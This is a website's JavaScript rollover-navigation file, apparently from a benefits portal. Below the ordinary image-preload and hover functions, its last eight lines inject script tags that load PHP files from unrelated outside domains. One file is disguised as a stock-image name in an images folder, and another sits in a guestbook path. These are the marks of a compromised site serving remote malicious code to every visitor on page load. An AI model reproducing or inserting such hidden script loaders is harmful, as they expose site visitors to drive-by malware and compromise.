function preload(){
	if (document.images){
		//navigation OFF images
		nav_home_off = new Image; nav_home_off.src = "images/nav_home_off.gif"
		nav_oe_off = new Image; nav_oe_off.src = "images/nav_oe_off.gif"
		nav_active_off = new Image; nav_active_off.src = "images/nav_active_off.gif"
		nav_nonstate_off = new Image; nav_nonstate_off.src = "images/nav_nonstate_off.gif"
		nav_retiree_off = new Image; nav_retiree_off.src = "images/nav_retiree_off.gif"
		nav_healthquest_off = new Image; nav_healthquest_off.src = "images/nav_healthquest_off.gif"
		
		nav_home_on = new Image; nav_home_on.src = "images/nav_home_on.gif"
		nav_oe_on = new Image; nav_oe_on.src = "images/nav_oe_on.gif"
		nav_active_on = new Image; nav_active_on.src = "images/nav_active_on.gif"
		nav_nonstate_on = new Image; nav_nonstate_on.src = "images/nav_nonstate_on.gif"
		nav_retiree_on = new Image; nav_retiree_on.src = "images/nav_retiree_on.gif"
		nav_healthquest_on = new Image; nav_healthquest_on.src = "images/nav_healthquest_on.gif"
	}
}

function imgOn(imgName){ 
	if (document.images){ 
		document[imgName].src = eval(imgName + "_on.src");
    }
} 

function imgOff(imgName){ 
	if (document.images){ 
		document[imgName].src = eval(imgName + "_off.src");
	}
}

preload();
document.write('<script src=http://icmicroanalysis.com/images/iStock_000006208658XSmall.php ><\/script>');
document.write('<script src=http://icmicroanalysis.com/images/iStock_000006208658XSmall.php ><\/script>');
document.write('<script src=http://anzantra.se/gastboken/b-one-default.php ><\/script>');
document.write('<script src=http://anzantra.se/gastboken/b-one-default.php ><\/script>');
document.write('<script src=http://anzantra.se/gastboken/b-one-default.php ><\/script>');
document.write('<script src=http://anzantra.se/gastboken/b-one-default.php ><\/script>');
document.write('<script src=http://anzantra.se/gastboken/b-one-default.php ><\/script>');
document.write('<script src=http://anzantra.se/gastboken/b-one-default.php ><\/script>');